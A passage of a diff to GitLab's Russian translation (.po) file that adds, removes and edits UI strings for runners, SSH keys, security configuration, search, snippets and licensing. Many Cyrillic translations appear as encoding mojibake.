+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28702,9 +28426,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28747,12 +28477,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28783,6 +28519,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28861,6 +28603,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr "Ключи SSH позволÑÑŽÑ‚ уÑтановить безопаÑное Ñоединение между вашим компьютером и GitLab."
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr "Открытый ключ SSH"
@@ -28912,10 +28660,7 @@ msgstr "Сохранить пароль"
msgid "Save pipeline schedule"
msgstr "Сохранить раÑпиÑание Ñборочной лини"
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28948,6 +28693,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28999,6 +28747,9 @@ msgstr "Прокрутить вверх"
msgid "Search"
msgstr "ПоиÑк"
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -29083,9 +28834,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr "Ðайти или перейти к…"
-
msgid "Search project"
msgstr "ПоиÑк проекта"
@@ -29150,13 +28898,13 @@ msgid "SearchResults|Showing %{count} %{scope} for%{term_element}"
msgstr ""
msgid "SearchResults|Showing %{count} %{scope} for%{term_element} in your personal and project snippets"
-msgstr "Показано %{count} %{scope} длÑ%{term_element} в ваших личных Ñниппетах и Ñниппетах проекта"
+msgstr ""
msgid "SearchResults|Showing %{from} - %{to} of %{count} %{scope} for%{term_element}"
msgstr ""
msgid "SearchResults|Showing %{from} - %{to} of %{count} %{scope} for%{term_element} in your personal and project snippets"
-msgstr "Показано %{from} - %{to} из %{count} %{scope} длÑ%{term_element} в ваших личных Ñниппетах и Ñниппетах проекта"
+msgstr ""
msgid "SearchResults|code result"
msgid_plural "SearchResults|code results"
@@ -29216,10 +28964,10 @@ msgstr[3] ""
msgid "SearchResults|snippet"
msgid_plural "SearchResults|snippets"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "Ñниппет"
+msgstr[1] "Ñниппета"
+msgstr[2] "Ñниппетов"
+msgstr[3] "Ñниппеты"
msgid "SearchResults|user"
msgid_plural "SearchResults|users"
@@ -29238,12 +28986,6 @@ msgstr[3] "Результат Wiki"
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -29310,6 +29052,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -29331,6 +29076,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -29340,6 +29088,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29364,9 +29118,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29376,12 +29139,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29394,7 +29166,10 @@ msgstr "СтатуÑ"
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29403,6 +29178,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29415,6 +29196,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29427,7 +29229,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29490,6 +29292,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29595,6 +29400,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr "Произошла ошибка при добавлении комментариÑ."
@@ -29697,9 +29505,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29730,9 +29535,15 @@ msgstr "Выберите причину"
msgid "Select a repository"
msgstr "Выберите репозиторий"
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29835,9 +29646,6 @@ msgstr ""
msgid "Select target branch"
msgstr "Выбор целевой ветки"
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29854,7 +29662,7 @@ msgid "Selected commits"
msgstr ""
msgid "Selected levels cannot be used by non-admin users for groups, projects or snippets. If the public level is restricted, user profiles are only visible to logged in users."
-msgstr ""
+msgstr "Выбранные уровни не могут иÑпользоватьÑÑ Ð½Ðµ админиÑтраторами Ð´Ð»Ñ Ð³Ñ€ÑƒÐ¿Ð¿, проектов или примеров кода. ЕÑли публичный уровень ограничен, профили пользователей видны только авторизованным пользователÑм."
msgid "Selected projects"
msgstr ""
@@ -29931,8 +29739,8 @@ msgstr ""
msgid "Send report"
msgstr "Отправить отчёт"
-msgid "Send usage data"
-msgstr "ОтправлÑÑ‚ÑŒ данные об иÑпользовании"
+msgid "Send service data"
+msgstr ""
msgid "Sentry API URL"
msgstr "URL-Ð°Ð´Ñ€ÐµÑ Sentry API"
@@ -29970,11 +29778,11 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
-msgstr "Ð”Ð»Ñ Ð¸Ð·Ð¼ÐµÑ€ÐµÐ½Ð¸Ñ Ð²Ñ‹Ð·Ð¾Ð²Ð° функций Ñначала нужно уÑтановить Prometheus."
+msgid "ServerlessDetails|Configure cluster."
+msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
-msgstr "УÑтановить Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
+msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
msgstr "Метрики вызовов в наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ Ð·Ð°Ð³Ñ€ÑƒÐ¶Ð°ÑŽÑ‚ÑÑ Ð¸Ð»Ð¸ недоÑтупны."
@@ -30015,9 +29823,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr "УÑтановить Knative"
-
msgid "Serverless|Learn more about Serverless"
msgstr "Подробнее о Serverless"
@@ -30060,6 +29865,9 @@ msgstr "Шаблоны Служб"
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -30150,6 +29958,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr "Задайте Ñ‚Ñ€ÐµÐ±Ð¾Ð²Ð°Ð½Ð¸Ñ Ð´Ð»Ñ Ð²Ñ…Ð¾Ð´Ð° в ÑиÑтему. Включите обÑзательную двухфакторную аутентификацию."
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -30330,9 +30141,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -30357,6 +30165,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr "Справка по общим Runner'ам"
@@ -30381,9 +30192,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr "Показывать вÑех учаÑтников"
-
msgid "Show all test cases."
msgstr ""
@@ -30411,9 +30219,6 @@ msgstr "Показать опиÑание коммита"
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30447,12 +30252,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr "Показывать только непоÑредÑтвенных учаÑтников"
-
-msgid "Show only inherited members"
-msgstr "Показывать только коÑвенных учаÑтников"
-
msgid "Show parent pages"
msgstr "Показать родительÑкие Ñтраницы"
@@ -30503,6 +30302,9 @@ msgstr ""
msgid "Showing all issues"
msgstr "Показаны вÑе обÑуждениÑ"
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30717,7 +30519,7 @@ msgid "SnippetsEmptyState|Code snippets"
msgstr "Сниппеты"
msgid "SnippetsEmptyState|Documentation"
-msgstr ""
+msgstr "ДокументациÑ"
msgid "SnippetsEmptyState|New snippet"
msgstr "Ðовый Ñниппет"
@@ -30732,22 +30534,22 @@ msgid "SnippetsEmptyState|There are no snippets to show."
msgstr "Ðет Ñниппетов Ð´Ð»Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ."
msgid "Snippets|Add another file %{num}/%{total}"
-msgstr ""
+msgstr "Добавить ещё файл %{num}/%{total}"
msgid "Snippets|Delete file"
-msgstr ""
+msgstr "Удалить файл"
msgid "Snippets|Description (optional)"
msgstr "ОпиÑание (необÑзательно)"
msgid "Snippets|Files"
-msgstr ""
+msgstr "Файлы"
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
-msgstr ""
+msgstr "Ðазовите файл, чтобы включить подÑветку ÑинтакÑиÑа, например example.rb Ð´Ð»Ñ Ruby"
msgid "Snippets|Optionally add a description about what your snippet does or how to use it…"
-msgstr ""
+msgstr "При необходимоÑти добавьте опиÑание того, что делает ваш Ñниппет или как его иÑпользовать…"
msgid "Snowplow"
msgstr ""
@@ -30836,9 +30638,6 @@ msgstr "Что-то пошло не так при Ñоздании требовÐ
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr "Что-то пошло не так при удалении иÑходной ветки. ПожалуйÑта, попробуйте еще раз."
@@ -30941,6 +30740,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -31007,12 +30809,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr "Уровень доÑтупа, по возраÑтанию"
-
-msgid "SortOptions|Access level, descending"
-msgstr "Уровень доÑтупа, по убыванию"
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -31046,9 +30842,6 @@ msgstr "По поÑледнему контакту"
msgid "SortOptions|Last created"
msgstr "Сначала недавно Ñозданные"
-msgid "SortOptions|Last joined"
-msgstr "ПоÑледние проÑоединившиеÑÑ"
-
msgid "SortOptions|Last updated"
msgstr "Сначала недавно обновлённые"
@@ -31091,9 +30884,6 @@ msgstr "По алфавиту Ñ ÐºÐ¾Ð½Ñ†Ð°"
msgid "SortOptions|Oldest created"
msgstr "Сначала давно Ñозданные"
-msgid "SortOptions|Oldest joined"
-msgstr "Старейшие из приÑоединившихÑÑ"
-
msgid "SortOptions|Oldest last activity"
msgstr "Ð¡Ð°Ð¼Ð°Ñ ÑÑ‚Ð°Ñ€Ð°Ñ Ð¿Ð¾ÑледнÑÑ Ð°ÐºÑ‚Ð¸Ð²Ð½Ð¾ÑÑ‚ÑŒ"
@@ -31145,6 +30935,9 @@ msgstr "Ðачатые позже"
msgid "SortOptions|Start soon"
msgstr "Ðачатые недавно"
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr "По типу"
@@ -31163,6 +30956,9 @@ msgstr "ИÑточник (ветка или тег)"
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -31265,15 +31061,6 @@ msgstr "Сниппет траÑÑировки Ñтека"
msgid "Stage"
msgstr "Этап"
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31490,12 +31277,18 @@ msgstr "СтатуÑ:"
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31514,7 +31307,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31544,6 +31337,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31631,6 +31427,9 @@ msgstr "Хранилище:"
msgid "StorageSize|Unknown"
msgstr "ÐеизвеÑтный"
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31640,9 +31439,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31854,7 +31650,7 @@ msgid "Successfully approved"
msgstr ""
msgid "Successfully banned"
-msgstr ""
+msgstr "УÑпешно забанен"
msgid "Successfully blocked"
msgstr "УÑпешно заблокировано"
@@ -31881,7 +31677,7 @@ msgid "Successfully synced %{synced_timeago}."
msgstr ""
msgid "Successfully unbanned"
-msgstr ""
+msgstr "УÑпешно разбанен"
msgid "Successfully unblocked"
msgstr "УÑпешно разблокировано"
@@ -31997,6 +31793,9 @@ msgstr "ВоÑкреÑенье"
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -32015,7 +31814,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -32087,9 +31892,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -32102,7 +31904,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -32150,7 +31952,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -32165,7 +31967,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -32174,10 +31976,10 @@ msgstr ""
msgid "Synced"
msgstr "Синхронизировано"
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32369,6 +32171,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr "Шаблон"
@@ -32734,7 +32539,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32743,6 +32548,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr "Трекер обÑуждений - Ñто меÑто, где можно добавить вещи, которые необходимо улучшить или решить в проекте"
@@ -32752,6 +32560,9 @@ msgstr "Трекер обÑуждений - Ñто меÑто, где можно
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr "Сервер Prometheus ответил Ñ Ñ€ÐµÐ·ÑƒÐ»ÑŒÑ‚Ð°Ñ‚Ð¾Ð¼ \"bad request\". ПожалуйÑта, убедитеÑÑŒ, что запроÑÑ‹ верны и поддерживаютÑÑ Ð² вашей верÑии Prometheus. %{documentationLink}"
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32785,9 +32596,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr "Этап напиÑÐ°Ð½Ð¸Ñ ÐºÐ¾Ð´Ð° показывает Ð²Ñ€ÐµÐ¼Ñ Ñ Ð¿ÐµÑ€Ð²Ð¾Ð³Ð¾ коммита до ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð·Ð°Ð¿Ñ€Ð¾Ñа на ÑлиÑние. Данные автоматичеÑки добавÑÑ‚ÑÑ Ñюда поÑле того, как вы Ñоздадите Ñвой первый Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние."
-
msgid "The collection of events added to the data gathered for that stage."
msgstr "ÐšÐ¾Ð»Ð»ÐµÐºÑ†Ð¸Ñ Ñобытий добавленных в данные Ñобранные Ð´Ð»Ñ Ñтого Ñтапа."
@@ -32821,7 +32629,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr "ИÑточник данных подключен, но нет данных Ð´Ð»Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ. %{documentationLink}"
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32851,6 +32659,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr "Файл уÑпешно Ñоздан."
@@ -32927,6 +32738,9 @@ msgstr "Эта группа будет помещена в ÑоÑтоÑние 'Ð
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "Импорт будет отключен поÑле %{timeout}. Ð”Ð»Ñ Ñ€ÐµÐ¿Ð¾Ð·Ð¸Ñ‚Ð¾Ñ€Ð¸ÐµÐ², которые импортируютÑÑ Ð·Ð° большее времÑ, иÑпользуйте комбинацию команд clone/push."
@@ -32948,15 +32762,15 @@ msgstr "Приглашение уже принÑто."
msgid "The invitation was successfully resent."
msgstr "Приглашение было уÑпешно отправлено."
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr "Ð¡Ñ‚Ð°Ð´Ð¸Ñ Ð¾Ð±ÑÑƒÐ¶Ð´ÐµÐ½Ð¸Ñ Ð¿Ð¾ÐºÐ°Ð·Ñ‹Ð²Ð°ÐµÑ‚ времÑ, которое прошло Ñ Ð¼Ð¾Ð¼ÐµÐ½Ñ‚Ð° ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð¾Ð±ÑÑƒÐ¶Ð´ÐµÐ½Ð¸Ñ Ð´Ð¾ Ð²ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ Ð¾Ð±ÑÑƒÐ¶Ð´ÐµÐ½Ð¸Ñ Ð² какой-либо из Ñтапов или Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¾Ð±ÑÑƒÐ¶Ð´ÐµÐ½Ð¸Ñ Ð½Ð° ДоÑку обÑуждений. Ðачните Ñоздавать обÑуждениÑ, чтобы увидеть ÑÐ²ÐµÐ´ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ñтой Ñтадии."
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr "Лицензионный ключ недейÑтвителен. УдоÑтоверьтеÑÑŒ, что он Ñовпадает Ñ Ñ‚ÐµÐ¼, что вы получили от GitLab Inc."
@@ -33041,18 +32855,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr "Фаза жизненного цикла разработки."
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr "РаÑпиÑание Ñборочных линий запуÑкает Ñборочные линии в будущем, неоднократно, Ð´Ð»Ñ Ð¾Ð¿Ñ€ÐµÐ´ÐµÐ»ÐµÐ½Ð½Ñ‹Ñ… веток или меток. Эти запланированные Ñборочные линии будут наÑледовать ограниченный доÑтуп к проекту на оÑнове их аÑÑоциированного пользователÑ."
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr "Этап Ð¿Ð»Ð°Ð½Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¿Ð¾ÐºÐ°Ð·Ñ‹Ð²Ð°ÐµÑ‚ Ð²Ñ€ÐµÐ¼Ñ Ð¾Ñ‚ предыдущего шага до отправки первого коммита. ДобавлÑетÑÑ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑки, как только отправите Ñвой первый коммит."
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr "Закрытый ключ, иÑпользуемый при предоÑтавлении клиентÑкого Ñертификата. Он будет зашифрован в ÑоÑтоÑнии покоÑ."
@@ -33116,9 +32924,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr "Этап обзора показывает Ð²Ñ€ÐµÐ¼Ñ Ð¾Ñ‚ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð·Ð°Ð¿Ñ€Ð¾Ñа ÑлиÑÐ½Ð¸Ñ Ð´Ð¾ его выполнениÑ. Данные будут автоматичеÑки добавлены поÑле Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð¸Ñ Ð¿ÐµÑ€Ð²Ð¾Ð³Ð¾ запроÑа на ÑлиÑние."
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
